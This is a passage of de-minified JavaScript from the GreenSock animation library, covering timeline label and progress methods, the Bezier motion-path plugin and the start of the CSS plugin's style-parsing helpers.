                    (s._active || m >= s._startTime && !s._paused && !s._gc) && (s._reversed ? s.render((s._dirty ? s.totalDuration() : s._totalDuration) - (t - s._startTime) * s._timeScale, e, i) : s.render((t - s._startTime) * s._timeScale, e, i)),
                    s = l;
            this._onUpdate && (e || (o.length && h(),
            this._onUpdate.apply(this.vars.onUpdateScope || this, this.vars.onUpdateParams || n))),
            _ && (this._locked || this._gc || (g === this._startTime || v !== this._timeScale) && (0 === this._time || f >= this.totalDuration()) && (a && (o.length && h(),
            this._timeline.autoRemoveChildren && this._enabled(!1, !1),
            this._active = !1),
            !e && this.vars[_] && this.vars[_].apply(this.vars[_ + "Scope"] || this, this.vars[_ + "Params"] || n)))
        }
        ,
        _.getActive = function(t, e, i) {
            null == t && (t = !0),
            null == e && (e = !0),
            null == i && (i = !1);
            var s, r, n = [], a = this.getChildren(t, e, i), o = 0, h = a.length;
            for (s = 0; h > s; s++)
                r = a[s],
                r.isActive() && (n[o++] = r);
            return n
        }
        ,
        _.getLabelAfter = function(t) {
            t || 0 !== t && (t = this._time);
            var e, i = this.getLabelsArray(), s = i.length;
            for (e = 0; s > e; e++)
                if (i[e].time > t)
                    return i[e].name;
            return null
        }
        ,
        _.getLabelBefore = function(t) {
            null == t && (t = this._time);
            for (var e = this.getLabelsArray(), i = e.length; --i > -1; )
                if (t > e[i].time)
                    return e[i].name;
            return null
        }
        ,
        _.getLabelsArray = function() {
            var t, e = [], i = 0;
            for (t in this._labels)
                e[i++] = {
                    time: this._labels[t],
                    name: t
                };
            return e.sort(function(t, e) {
                return t.time - e.time
            }),
            e
        }
        ,
        _.progress = function(t, e) {
            return arguments.length ? this.totalTime(this.duration() * (this._yoyo && 0 !== (1 & this._cycle) ? 1 - t : t) + this._cycle * (this._duration + this._repeatDelay), e) : this._time / this.duration()
        }
        ,
        _.totalProgress = function(t, e) {
            return arguments.length ? this.totalTime(this.totalDuration() * t, e) : this._totalTime / this.totalDuration()
        }
        ,
        _.totalDuration = function(e) {
            return arguments.length ? -1 === this._repeat ? this : this.duration((e - this._repeat * this._repeatDelay) / (this._repeat + 1)) : (this._dirty && (t.prototype.totalDuration.call(this),
            this._totalDuration = -1 === this._repeat ? 999999999999 : this._duration * (this._repeat + 1) + this._repeatDelay * this._repeat),
            this._totalDuration)
        }
        ,
        _.time = function(t, e) {
            return arguments.length ? (this._dirty && this.totalDuration(),
            t > this._duration && (t = this._duration),
            this._yoyo && 0 !== (1 & this._cycle) ? t = this._duration - t + this._cycle * (this._duration + this._repeatDelay) : 0 !== this._repeat && (t += this._cycle * (this._duration + this._repeatDelay)),
            this.totalTime(t, e)) : this._time
        }
        ,
        _.repeat = function(t) {
            return arguments.length ? (this._repeat = t,
            this._uncache(!0)) : this._repeat
        }
        ,
        _.repeatDelay = function(t) {
            return arguments.length ? (this._repeatDelay = t,
            this._uncache(!0)) : this._repeatDelay
        }
        ,
        _.yoyo = function(t) {
            return arguments.length ? (this._yoyo = t,
            this) : this._yoyo
        }
        ,
        _.currentLabel = function(t) {
            return arguments.length ? this.seek(t, !0) : this.getLabelBefore(this._time + 1e-8)
        }
        ,
        s
    }, !0),
    function() {
        var t = 180 / Math.PI
          , e = []
          , i = []
          , s = []
          , r = {}
          , n = _gsScope._gsDefine.globals
          , a = function(t, e, i, s) {
            this.a = t,
            this.b = e,
            this.c = i,
            this.d = s,
            this.da = s - t,
            this.ca = i - t,
            this.ba = e - t
        }
          , o = ",x,y,z,left,top,right,bottom,marginTop,marginLeft,marginRight,marginBottom,paddingLeft,paddingTop,paddingRight,paddingBottom,backgroundPosition,backgroundPosition_y,"
          , h = function(t, e, i, s) {
            var r = {
                a: t
            }
              , n = {}
              , a = {}
              , o = {
                c: s
            }
              , h = (t + e) / 2
              , l = (e + i) / 2
              , _ = (i + s) / 2
              , u = (h + l) / 2
              , p = (l + _) / 2
              , f = (p - u) / 8;
            return r.b = h + (t - h) / 4,
            n.b = u + f,
            r.c = n.a = (r.b + n.b) / 2,
            n.c = a.a = (u + p) / 2,
            a.b = p - f,
            o.b = _ + (s - _) / 4,
            a.c = o.a = (a.b + o.b) / 2,
            [r, n, a, o]
        }
          , l = function(t, r, n, a, o) {
            var l, _, u, p, f, c, m, d, g, v, y, T, w, x = t.length - 1, b = 0, P = t[0].a;
            for (l = 0; x > l; l++)
                f = t[b],
                _ = f.a,
                u = f.d,
                p = t[b + 1].d,
                o ? (y = e[l],
                T = i[l],
                w = .25 * (T + y) * r / (a ? .5 : s[l] || .5),
                c = u - (u - _) * (a ? .5 * r : 0 !== y ? w / y : 0),
                m = u + (p - u) * (a ? .5 * r : 0 !== T ? w / T : 0),
                d = u - (c + ((m - c) * (3 * y / (y + T) + .5) / 4 || 0))) : (c = u - .5 * (u - _) * r,
                m = u + .5 * (p - u) * r,
                d = u - (c + m) / 2),
                c += d,
                m += d,
                f.c = g = c,
                f.b = 0 !== l ? P : P = f.a + .6 * (f.c - f.a),
                f.da = u - _,
                f.ca = g - _,
                f.ba = P - _,
                n ? (v = h(_, P, g, u),
                t.splice(b, 1, v[0], v[1], v[2], v[3]),
                b += 4) : b++,
                P = m;
            f = t[b],
            f.b = P,
            f.c = P + .4 * (f.d - P),
            f.da = f.d - f.a,
            f.ca = f.c - f.a,
            f.ba = P - f.a,
            n && (v = h(f.a, P, f.c, f.d),
            t.splice(b, 1, v[0], v[1], v[2], v[3]))
        }
          , _ = function(t, s, r, n) {
            var o, h, l, _, u, p, f = [];
            if (n)
                for (t = [n].concat(t),
                h = t.length; --h > -1; )
                    "string" == typeof (p = t[h][s]) && "=" === p.charAt(1) && (t[h][s] = n[s] + Number(p.charAt(0) + p.substr(2)));
            if (o = t.length - 2,
            0 > o)
                return f[0] = new a(t[0][s],0,0,t[-1 > o ? 0 : 1][s]),
                f;
            for (h = 0; o > h; h++)
                l = t[h][s],
                _ = t[h + 1][s],
                f[h] = new a(l,0,0,_),
                r && (u = t[h + 2][s],
                e[h] = (e[h] || 0) + (_ - l) * (_ - l),
                i[h] = (i[h] || 0) + (u - _) * (u - _));
            return f[h] = new a(t[h][s],0,0,t[h + 1][s]),
            f
        }
          , u = function(t, n, a, h, u, p) {
            var f, c, m, d, g, v, y, T, w = {}, x = [], b = p || t[0];
            u = "string" == typeof u ? "," + u + "," : o,
            null == n && (n = 1);
            for (c in t[0])
                x.push(c);
            if (t.length > 1) {
                for (T = t[t.length - 1],
                y = !0,
                f = x.length; --f > -1; )
                    if (c = x[f],
                    Math.abs(b[c] - T[c]) > .05) {
                        y = !1;
                        break
                    }
                y && (t = t.concat(),
                p && t.unshift(p),
                t.push(t[1]),
                p = t[t.length - 3])
            }
            for (e.length = i.length = s.length = 0,
            f = x.length; --f > -1; )
                c = x[f],
                r[c] = -1 !== u.indexOf("," + c + ","),
                w[c] = _(t, c, r[c], p);
            for (f = e.length; --f > -1; )
                e[f] = Math.sqrt(e[f]),
                i[f] = Math.sqrt(i[f]);
            if (!h) {
                for (f = x.length; --f > -1; )
                    if (r[c])
                        for (m = w[x[f]],
                        v = m.length - 1,
                        d = 0; v > d; d++)
                            g = m[d + 1].da / i[d] + m[d].da / e[d],
                            s[d] = (s[d] || 0) + g * g;
                for (f = s.length; --f > -1; )
                    s[f] = Math.sqrt(s[f])
            }
            for (f = x.length,
            d = a ? 4 : 1; --f > -1; )
                c = x[f],
                m = w[c],
                l(m, n, a, h, r[c]),
                y && (m.splice(0, d),
                m.splice(m.length - d, d));
            return w
        }
          , p = function(t, e, i) {
            e = e || "soft";
            var s, r, n, o, h, l, _, u, p, f, c, m = {}, d = "cubic" === e ? 3 : 2, g = "soft" === e, v = [];
            if (g && i && (t = [i].concat(t)),
            null == t || d + 1 > t.length)
                throw "invalid Bezier data";
            for (p in t[0])
                v.push(p);
            for (l = v.length; --l > -1; ) {
                for (p = v[l],
                m[p] = h = [],
                f = 0,
                u = t.length,
                _ = 0; u > _; _++)
                    s = null == i ? t[_][p] : "string" == typeof (c = t[_][p]) && "=" === c.charAt(1) ? i[p] + Number(c.charAt(0) + c.substr(2)) : Number(c),
                    g && _ > 1 && u - 1 > _ && (h[f++] = (s + h[f - 2]) / 2),
                    h[f++] = s;
                for (u = f - d + 1,
                f = 0,
                _ = 0; u > _; _ += d)
                    s = h[_],
                    r = h[_ + 1],
                    n = h[_ + 2],
                    o = 2 === d ? 0 : h[_ + 3],
                    h[f++] = c = 3 === d ? new a(s,r,n,o) : new a(s,(2 * r + s) / 3,(2 * r + n) / 3,n);
                h.length = f
            }
            return m
        }
          , f = function(t, e, i) {
            for (var s, r, n, a, o, h, l, _, u, p, f, c = 1 / i, m = t.length; --m > -1; )
                for (p = t[m],
                n = p.a,
                a = p.d - n,
                o = p.c - n,
                h = p.b - n,
                s = r = 0,
                _ = 1; i >= _; _++)
                    l = c * _,
                    u = 1 - l,
                    s = r - (r = (l * l * a + 3 * u * (l * o + u * h)) * l),
                    f = m * i + _ - 1,
                    e[f] = (e[f] || 0) + s * s
        }
          , c = function(t, e) {
            e = e >> 0 || 6;
            var i, s, r, n, a = [], o = [], h = 0, l = 0, _ = e - 1, u = [], p = [];
            for (i in t)
                f(t[i], a, e);
            for (r = a.length,
            s = 0; r > s; s++)
                h += Math.sqrt(a[s]),
                n = s % e,
                p[n] = h,
                n === _ && (l += h,
                n = s / e >> 0,
                u[n] = p,
                o[n] = l,
                h = 0,
                p = []);
            return {
                length: l,
                lengths: o,
                segments: u
            }
        }
          , m = _gsScope._gsDefine.plugin({
            propName: "bezier",
            priority: -1,
            version: "1.3.4",
            API: 2,
            global: !0,
            init: function(t, e, i) {
                this._target = t,
                e instanceof Array && (e = {
                    values: e
                }),
                this._func = {},
                this._round = {},
                this._props = [],
                this._timeRes = null == e.timeResolution ? 6 : parseInt(e.timeResolution, 10);
                var s, r, n, a, o, h = e.values || [], l = {}, _ = h[0], f = e.autoRotate || i.vars.orientToBezier;
                this._autoRotate = f ? f instanceof Array ? f : [["x", "y", "rotation", f === !0 ? 0 : Number(f) || 0]] : null;
                for (s in _)
                    this._props.push(s);
                for (n = this._props.length; --n > -1; )
                    s = this._props[n],
                    this._overwriteProps.push(s),
                    r = this._func[s] = "function" == typeof t[s],
                    l[s] = r ? t[s.indexOf("set") || "function" != typeof t["get" + s.substr(3)] ? s : "get" + s.substr(3)]() : parseFloat(t[s]),
                    o || l[s] !== h[0][s] && (o = l);
                if (this._beziers = "cubic" !== e.type && "quadratic" !== e.type && "soft" !== e.type ? u(h, isNaN(e.curviness) ? 1 : e.curviness, !1, "thruBasic" === e.type, e.correlate, o) : p(h, e.type, l),
                this._segCount = this._beziers[s].length,
                this._timeRes) {
                    var m = c(this._beziers, this._timeRes);
                    this._length = m.length,
                    this._lengths = m.lengths,
                    this._segments = m.segments,
                    this._l1 = this._li = this._s1 = this._si = 0,
                    this._l2 = this._lengths[0],
                    this._curSeg = this._segments[0],
                    this._s2 = this._curSeg[0],
                    this._prec = 1 / this._curSeg.length
                }
                if (f = this._autoRotate)
                    for (this._initialRotations = [],
                    f[0]instanceof Array || (this._autoRotate = f = [f]),
                    n = f.length; --n > -1; ) {
                        for (a = 0; 3 > a; a++)
                            s = f[n][a],
                            this._func[s] = "function" == typeof t[s] ? t[s.indexOf("set") || "function" != typeof t["get" + s.substr(3)] ? s : "get" + s.substr(3)] : !1;
                        s = f[n][2],
                        this._initialRotations[n] = this._func[s] ? this._func[s].call(this._target) : this._target[s]
                    }
                return this._startRatio = i.vars.runBackwards ? 1 : 0,
                !0
            },
            set: function(e) {
                var i, s, r, n, a, o, h, l, _, u, p = this._segCount, f = this._func, c = this._target, m = e !== this._startRatio;
                if (this._timeRes) {
                    if (_ = this._lengths,
                    u = this._curSeg,
                    e *= this._length,
                    r = this._li,
                    e > this._l2 && p - 1 > r) {
                        for (l = p - 1; l > r && e >= (this._l2 = _[++r]); )
                            ;
                        this._l1 = _[r - 1],
                        this._li = r,
                        this._curSeg = u = this._segments[r],
                        this._s2 = u[this._s1 = this._si = 0]
                    } else if (this._l1 > e && r > 0) {
                        for (; r > 0 && (this._l1 = _[--r]) >= e; )
                            ;
                        0 === r && this._l1 > e ? this._l1 = 0 : r++,
                        this._l2 = _[r],
                        this._li = r,
                        this._curSeg = u = this._segments[r],
                        this._s1 = u[(this._si = u.length - 1) - 1] || 0,
                        this._s2 = u[this._si]
                    }
                    if (i = r,
                    e -= this._l1,
                    r = this._si,
                    e > this._s2 && u.length - 1 > r) {
                        for (l = u.length - 1; l > r && e >= (this._s2 = u[++r]); )
                            ;
                        this._s1 = u[r - 1],
                        this._si = r
                    } else if (this._s1 > e && r > 0) {
                        for (; r > 0 && (this._s1 = u[--r]) >= e; )
                            ;
                        0 === r && this._s1 > e ? this._s1 = 0 : r++,
                        this._s2 = u[r],
                        this._si = r
                    }
                    o = (r + (e - this._s1) / (this._s2 - this._s1)) * this._prec
                } else
                    i = 0 > e ? 0 : e >= 1 ? p - 1 : p * e >> 0,
                    o = (e - i * (1 / p)) * p;
                for (s = 1 - o,
                r = this._props.length; --r > -1; )
                    n = this._props[r],
                    a = this._beziers[n][i],
                    h = (o * o * a.da + 3 * s * (o * a.ca + s * a.ba)) * o + a.a,
                    this._round[n] && (h = Math.round(h)),
                    f[n] ? c[n](h) : c[n] = h;
                if (this._autoRotate) {
                    var d, g, v, y, T, w, x, b = this._autoRotate;
                    for (r = b.length; --r > -1; )
                        n = b[r][2],
                        w = b[r][3] || 0,
                        x = b[r][4] === !0 ? 1 : t,
                        a = this._beziers[b[r][0]],
                        d = this._beziers[b[r][1]],
                        a && d && (a = a[i],
                        d = d[i],
                        g = a.a + (a.b - a.a) * o,
                        y = a.b + (a.c - a.b) * o,
                        g += (y - g) * o,
                        y += (a.c + (a.d - a.c) * o - y) * o,
                        v = d.a + (d.b - d.a) * o,
                        T = d.b + (d.c - d.b) * o,
                        v += (T - v) * o,
                        T += (d.c + (d.d - d.c) * o - T) * o,
                        h = m ? Math.atan2(T - v, y - g) * x + w : this._initialRotations[r],
                        f[n] ? c[n](h) : c[n] = h)
                }
            }
        })
          , d = m.prototype;
        m.bezierThrough = u,
        m.cubicToQuadratic = h,
        m._autoCSS = !0,
        m.quadraticToCubic = function(t, e, i) {
            return new a(t,(2 * e + t) / 3,(2 * e + i) / 3,i)
        }
        ,
        m._cssRegister = function() {
            var t = n.CSSPlugin;
            if (t) {
                var e = t._internals
                  , i = e._parseToProxy
                  , s = e._setPluginRatio
                  , r = e.CSSPropTween;
                e._registerComplexSpecialProp("bezier", {
                    parser: function(t, e, n, a, o, h) {
                        e instanceof Array && (e = {
                            values: e
                        }),
                        h = new m;
                        var l, _, u, p = e.values, f = p.length - 1, c = [], d = {};
                        if (0 > f)
                            return o;
                        for (l = 0; f >= l; l++)
                            u = i(t, p[l], a, o, h, f !== l),
                            c[l] = u.end;
                        for (_ in e)
                            d[_] = e[_];
                        return d.values = c,
                        o = new r(t,"bezier",0,0,u.pt,2),
                        o.data = u,
                        o.plugin = h,
                        o.setRatio = s,
                        0 === d.autoRotate && (d.autoRotate = !0),
                        !d.autoRotate || d.autoRotate instanceof Array || (l = d.autoRotate === !0 ? 0 : Number(d.autoRotate),
                        d.autoRotate = null != u.end.left ? [["left", "top", "rotation", l, !1]] : null != u.end.x ? [["x", "y", "rotation", l, !1]] : !1),
                        d.autoRotate && (a._transform || a._enableTransforms(!1),
                        u.autoRotate = a._target._gsTransform),
                        h._onInitTween(u.proxy, d, a._tween),
                        o
                    }
                })
            }
        }
        ,
        d._roundProps = function(t, e) {
            for (var i = this._overwriteProps, s = i.length; --s > -1; )
                (t[i[s]] || t.bezier || t.bezierThrough) && (this._round[i[s]] = e)
        }
        ,
        d._kill = function(t) {
            var e, i, s = this._props;
            for (e in this._beziers)
                if (e in t)
                    for (delete this._beziers[e],
                    delete this._func[e],
                    i = s.length; --i > -1; )
                        s[i] === e && s.splice(i, 1);
            return this._super._kill.call(this, t)
        }
    }(),
    _gsScope._gsDefine("plugins.CSSPlugin", ["plugins.TweenPlugin", "TweenLite"], function(t, e) {
        var i, s, r, n, a = function() {
            t.call(this, "css"),
            this._overwriteProps.length = 0,
            this.setRatio = a.prototype.setRatio
        }, o = _gsScope._gsDefine.globals, h = {}, l = a.prototype = new t("css");
        l.constructor = a,
        a.version = "1.16.1",
        a.API = 2,
        a.defaultTransformPerspective = 0,
        a.defaultSkewType = "compensated",
        l = "px",
        a.suffixMap = {
            top: l,
            right: l,
            bottom: l,
            left: l,
            width: l,
            height: l,
            fontSize: l,
            padding: l,
            margin: l,
            perspective: l,
            lineHeight: ""
        };
        var _, u, p, f, c, m, d = /(?:\d|\-\d|\.\d|\-\.\d)+/g, g = /(?:\d|\-\d|\.\d|\-\.\d|\+=\d|\-=\d|\+=.\d|\-=\.\d)+/g, v = /(?:\+=|\-=|\-|\b)[\d\-\.]+[a-zA-Z0-9]*(?:%|\b)/gi, y = /(?![+-]?\d*\.?\d+|[+-]|e[+-]\d+)[^0-9]/g, T = /(?:\d|\-|\+|=|#|\.)*/g, w = /opacity *= *([^)]*)/i, x = /opacity:([^;]*)/i, b = /alpha\(opacity *=.+?\)/i, P = /^(rgb|hsl)/, S = /([A-Z])/g, k = /-([a-z])/gi, R = /(^(?:url\(\"|url\())|(?:(\"\))$|\)$)/gi, A = function(t, e) {
            return e.toUpperCase()
        }, O = /(?:Left|Right|Width)/i, C = /(M11|M12|M21|M22)=[\d\-\.e]+/gi, D = /progid\:DXImageTransform\.Microsoft\.Matrix\(.+?\)/i, M = /,(?=[^\)]*(?:\(|$))/gi, z = Math.PI / 180, I = 180 / Math.PI, F = {}, E = document, N = function(t) {
            return E.createElementNS ? E.createElementNS("http://www.w3.org/1999/xhtml", t) : E.createElement(t)
        }, L = N("div"), X = N("img"), U = a._internals = {
            _specialProps: h
        }, Y = navigator.userAgent, j = function() {
            var t = Y.indexOf("Android")
              , e = N("a");
            return p = -1 !== Y.indexOf("Safari") && -1 === Y.indexOf("Chrome") && (-1 === t || Number(Y.substr(t + 8, 1)) > 3),
            c = p && 6 > Number(Y.substr(Y.indexOf("Version/") + 8, 1)),
            f = -1 !== Y.indexOf("Firefox"),
            (/MSIE ([0-9]{1,}[\.0-9]{0,})/.exec(Y) || /Trident\/.*rv:([0-9]{1,}[\.0-9]{0,})/.exec(Y)) && (m = parseFloat(RegExp.$1)),
            e ? (e.style.cssText = "top:1px;opacity:.55;",
            /^0.55/.test(e.style.opacity)) : !1
        }(), B = function(t) {
            return w.test("string" == typeof t ? t : (t.currentStyle ? t.currentStyle.filter : t.style.filter) || "") ? parseFloat(RegExp.$1) / 100 : 1
        }, q = function(t) {
            window.console && console.log(t)
        }, V = "", G = "", W = function(t, e) {
            e = e || L;
            var i, s, r = e.style;
            if (void 0 !== r[t])
                return t;
            for (t = t.charAt(0).toUpperCase() + t.substr(1),
            i = ["O", "Moz", "ms", "Ms", "Webkit"],
            s = 5; --s > -1 && void 0 === r[i[s] + t]; )
                ;
            return s >= 0 ? (G = 3 === s ? "ms" : i[s],
            V = "-" + G.toLowerCase() + "-",
            G + t) : null
        }, Z = E.defaultView ? E.defaultView.getComputedStyle : function() {}
        , Q = a.getStyle = function(t, e, i, s, r) {
            var n;
            return j || "opacity" !== e ? (!s && t.style[e] ? n = t.style[e] : (i = i || Z(t)) ? n = i[e] || i.getPropertyValue(e) || i.getPropertyValue(e.replace(S, "-$1").toLowerCase()) : t.currentStyle && (n = t.currentStyle[e]),
            null == r || n && "none" !== n && "auto" !== n && "auto auto" !== n ? n : r) : B(t)
        }
        , $ = U.convertToPixels = function(t, i, s, r, n) {
            if ("px" === r || !r)
                return s;
            if ("auto" === r || !s)
                return 0;
            var o, h, l, _ = O.test(i), u = t, p = L.style, f = 0 > s;
            if (f && (s = -s),
            "%" === r && -1 !== i.indexOf("border"))
                o = s / 100 * (_ ? t.clientWidth : t.clientHeight);
            else {
                if (p.cssText = "border:0 solid red;position:" + Q(t, "position") + ";line-height:0;",
                "%" !== r && u.appendChild)
                    p[_ ? "borderLeftWidth" : "borderTopWidth"] = s + r;
                else {
                    if (u = t.parentNode || E.body,
                    h = u._gsCache,
                    l = e.ticker.frame,
                    h && _ && h.time === l)
                        return h.width * s / 100;
                    p[_ ? "width" : "height"] = s + r
                }
                u.appendChild(L),
                o = parseFloat(L[_ ? "offsetWidth" : "offsetHeight"]),
                u.removeChild(L),
                _ && "%" === r && a.cacheWidths !== !1 && (h = u._gsCache = u._gsCache || {},
                h.time = l,
                h.width = 100 * (o / s)),
                0 !== o || n || (o = $(t, i, s, r, !0))
            }
            return f ? -o : o
        }
        , H = U.calculateOffset = function(t, e, i) {
            if ("absolute" !== Q(t, "position", i))
                return 0;
            var s = "left" === e ? "Left" : "Top"
              , r = Q(t, "margin" + s, i);
            return t["offset" + s] - ($(t, e, parseFloat(r), r.replace(T, "")) || 0)
        }
        , K = function(t, e) {
            var i, s, r, n = {};
            if (e = e || Z(t, null))
                if (i = e.length)
                    for (; --i > -1; )
                        r = e[i],
                        (-1 === r.indexOf("-transform") || be === r) && (n[r.replace(k, A)] = e.getPropertyValue(r));
                else
                    for (i in e)
                        (-1 === i.indexOf("Transform") || xe === i) && (n[i] = e[i]);
            else if (e = t.currentStyle || t.style)
                for (i in e)
                    "string" == typeof i && void 0 === n[i] && (n[i.replace(k, A)] = e[i]);
            return j || (n.opacity = B(t)),
            s = Me(t, e, !1),
            n.rotation = s.rotation,
            n.skewX = s.skewX,
            n.scaleX = s.scaleX,
            n.scaleY = s.scaleY,
            n.x = s.x,
            n.y = s.y,
            Se && (n.z = s.z,
            n.rotationX = s.rotationX,
            n.rotationY = s.rotationY,
            n.scaleZ = s.scaleZ),
            n.filters && delete n.filters,
            n
        }, J = function(t, e, i, s, r) {
            var n, a, o, h = {}, l = t.style;
            for (a in i)
                "cssText" !== a && "length" !== a && isNaN(a) && (e[a] !== (n = i[a]) || r && r[a]) && -1 === a.indexOf("Origin") && ("number" == typeof n || "string" == typeof n) && (h[a] = "auto" !== n || "left" !== a && "top" !== a ? "" !== n && "auto" !== n && "none" !== n || "string" != typeof e[a] || "" === e[a].replace(y, "") ? n : 0 : H(t, a),
                void 0 !== l[a] && (o = new fe(l,a,l[a],o)));
            if (s)
                for (a in s)
                    "className" !== a && (h[a] = s[a]);
            return {
                difs: h,
                firstMPT: o
            }
        }, te = {
            width: ["Left", "Right"],
            height: ["Top", "Bottom"]
        }, ee = ["marginLeft", "marginRight", "marginTop", "marginBottom"], ie = function(t, e, i) {
            var s = parseFloat("width" === e ? t.offsetWidth : t.offsetHeight)
              , r = te[e]
              , n = r.length;
            for (i = i || Z(t, null); --n > -1; )
                s -= parseFloat(Q(t, "padding" + r[n], i, !0)) || 0,
                s -= parseFloat(Q(t, "border" + r[n] + "Width", i, !0)) || 0;
            return s
        }, se = function(t, e) {
            (null == t || "" === t || "auto" === t || "auto auto" === t) && (t = "0 0");
            var i = t.split(" ")
              , s = -1 !== t.indexOf("left") ? "0%" : -1 !== t.indexOf("right") ? "100%" : i[0]
              , r = -1 !== t.indexOf("top") ? "0%" : -1 !== t.indexOf("bottom") ? "100%" : i[1];
            return null == r ? r = "center" === s ? "50%" : "0" : "center" === r && (r = "50%"),
            ("center" === s || isNaN(parseFloat(s)) && -1 === (s + "").indexOf("=")) && (s = "50%"),
            t = s + " " + r + (i.length > 2 ? " " + i[2] : ""),
            e && (e.oxp = -1 !== s.indexOf("%"),
            e.oyp = -1 !== r.indexOf("%"),
            e.oxr = "=" === s.charAt(1),
            e.oyr = "=" === r.charAt(1),
            e.ox = parseFloat(s.replace(y, "")),
            e.oy = parseFloat(r.replace(y, "")),
            e.v = t),
            e || t
        }, re = function(t, e) {
            return "string" == typeof t && "=" === t.charAt(1) ? parseInt(t.charAt(0) + "1", 10) * parseFloat(t.substr(2)) : parseFloat(t) - parseFloat(e)
        }, ne = function(t, e) {
            return null == t ? e : "string" == typeof t && "=" === t.charAt(1) ? parseInt(t.charAt(0) + "1", 10) * parseFloat(t.substr(2)) + e : parseFloat(t)
        }, ae = function(t, e, i, s) {
            var r, n, a, o, h, l = 1e-6;
            return null == t ? o = e : "number" == typeof t ? o = t : (r = 360,
            n = t.split("_"),
            h = "=" === t.charAt(1),
            a = (h ? parseInt(t.charAt(0) + "1", 10) * parseFloat(n[0].substr(2)) : parseFloat(n[0])) * (-1 === t.indexOf("rad") ? 1 : I) - (h ? 0 : e),
            n.length && (s && (s[i] = e + a),
            -1 !== t.indexOf("short") && (a %= r,
            a !== a % (r / 2) && (a = 0 > a ? a + r : a - r)),
            -1 !== t.indexOf("_cw") && 0 > a ? a = (a + 9999999999 * r) % r - (0 | a / r) * r : -1 !== t.indexOf("ccw") && a > 0 && (a = (a - 9999999999 * r) % r - (0 | a / r) * r)),
            o = e + a),
            l > o && o > -l && (o = 0),
            o
        }, oe = {
            aqua: [0, 255, 255],
            lime: [0, 255, 0],
            silver: [192, 192, 192],
            black: [0, 0, 0],
            maroon: [128, 0, 0],
            teal: [0, 128, 128],
            blue: [0, 0, 255],
            navy: [0, 0, 128],
            white: [255, 255, 255],
            fuchsia: [255, 0, 255],
            olive: [128, 128, 0],
            yellow: [255, 255, 0],
            orange: [255, 165, 0],
            gray: [128, 128, 128],
            purple: [128, 0, 128],
            green: [0, 128, 0],
            red: [255, 0, 0],
            pink: [255, 192, 203],
            cyan: [0, 255, 255],
            transparent: [255, 255, 255, 0]
        }, he = function(t, e, i) {
            return t = 0 > t ? t + 1 : t > 1 ? t - 1 : t,
            0 | 255 * (1 > 6 * t ? e + 6 * (i - e) * t : .5 > t ? i : 2 > 3 * t ? e + 6 * (i - e) * (2 / 3 - t) : e) + .5
        }, le = a.parseColor = function(t) {
            var e, i, s, r, n, a;
            return t && "" !== t ? "number" == typeof t ? [t >> 16, 255 & t >> 8, 255 & t] : ("," === t.charAt(t.length - 1) && (t = t.substr(0, t.length - 1)),
            oe[t] ? oe[t] : "#" === t.charAt(0) ? (4 === t.length && (e = t.charAt(1),
            i = t.charAt(2),
            s = t.charAt(3),
            t = "#" + e + e + i + i + s + s),
            t = parseInt(t.substr(1), 16),
            [t >> 16, 255 & t >> 8, 255 & t]) : "hsl" === t.substr(0, 3) ? (t = t.match(d),
            r = Number(t[0]) % 360 / 360,
            n = Number(t[1]) / 100,
            a = Number(t[2]) / 100,
            i = .5 >= a ? a * (n + 1) : a + n - a * n,
            e = 2 * a - i,
            t.length > 3 && (t[3] = Number(t[3])),
            t[0] = he(r + 1 / 3, e, i),
            t[1] = he(r, e, i),
            t[2] = he(r - 1 / 3, e, i),
            t) : (t = t.match(d) || oe.transparent,
            t[0] = Number(t[0]),
            t[1] = Number(t[1]),
            t[2] = Number(t[2]),
            t.length > 3 && (t[3] = Number(t[3])),
            t)) : oe.black
        }
        , _e = "(?:\\b(?:(?:rgb|rgba|hsl|hsla)\\(.+?\\))|\\B#.+?\\b";
        for (l in oe)
            _e += "|" + l + "\\b";
        _e = RegExp(_e + ")", "gi");
        var ue = function(t, e, i, s) {
            if (null == t)
                return function(t) {
                    return t
                }
                ;
            var r, n = e ? (t.match(_e) || [""])[0] : "", a = t.split(n).join("").match(v) || [], o = t.substr(0, t.indexOf(a[0])), h = ")" === t.charAt(t.length - 1) ? ")" : "", l = -1 !== t.indexOf(" ") ? " " : ",", _ = a.length, u = _ > 0 ? a[0].replace(d, "") : "";
            return _ ? r = e ? function(t) {
                var e, p, f, c;
                if ("number" == typeof t)
                    t += u;
                else if (s && M.test(t)) {
                    for (c = t.replace(M, "|").split("|"),
                    f = 0; c.length > f; f++)
                        c[f] = r(c[f]);
                    return c.join(",")
                }
                if (e = (t.match(_e) || [n])[0],
                p = t.split(e).join("").match(v) || [],
                f = p.length,
                _ > f--)
                    for (; _ > ++f; )
                        p[f] = i ? p[0 | (f - 1) / 2] : a[f];
                return o + p.join(l) + l + e + h + (-1 !== t.indexOf("inset") ? " inset" : "")
            }
            : function(t) {
                var e, n, p;
                if ("number" == typeof t)
                    t += u;
                else if (s && M.test(t)) {
                    for (n = t.replace(M, "|").split("|"),
                    p = 0; n.length > p; p++)
                        n[p] = r(n[p]);
                    return n.join(",")
                }
                if (e = t.match(v) || [],
                p = e.length,
                _ > p--)
                    for (; _ > ++p; )
                        e[p] = i ? e[0 | (p - 1) / 2] : a[p];
                return o + e.join(l) + h
            }
            : function(t) {
                return t
            }
        }
          , pe = function(t) {
            return t = t.split(","),
            function(e, i, s, r, n, a, o) {
                var h, l = (i + "").split(" ");
                for (o = {},
                h = 0; 4 > h; h++)
                    o[t[h]] = l[h] = l[h] || l[(h - 1) / 2 >> 0];
                return r.parse(e, o, n, a)
            }
        }
          , fe = (U._setPluginRatio = function(t) {
            this.plugin.setRatio(t);
            for (var e, i, s, r, n = this.data, a = n.proxy, o = n.firstMPT, h = 1e-6; o; )
                e = a[o.v],
                o.r ? e = Math.round(e) : h > e && e > -h && (e = 0),
                o.t[o.p] = e,
                o = o._next;
            if (n.autoRotate && (n.autoRotate.rotation = a.rotation),
            1 === t)
                for (o = n.firstMPT; o; ) {
                    if (i = o.t,
                    i.type) {
                        if (1 === i.type) {
                            for (r = i.xs0 + i.s + i.xs1,
                            s = 1; i.l > s; s++)
                                r += i["xn" + s] + i["xs" + (s + 1)];
                            i.e = r
                        }
                    } else
                        i.e = i.s + i.xs0;
                    o = o._next
                }
        }
        ,
        function(t, e, i, s, r) {
            this.t = t,
            this.p = e,
            this.v = i,
            this.r = r,
            s && (s._prev = this,
            this._next = s)
        }
        )
          , ce = (U._parseToProxy = function(t, e, i, s, r, n) {
            var a, o, h, l, _, u = s, p = {}, f = {}, c = i._transform, m = F;
            for (i._transform = null,
            F = e,
            s = _ = i.parse(t, e, s, r),
            F = m,
            n && (i._transform = c,
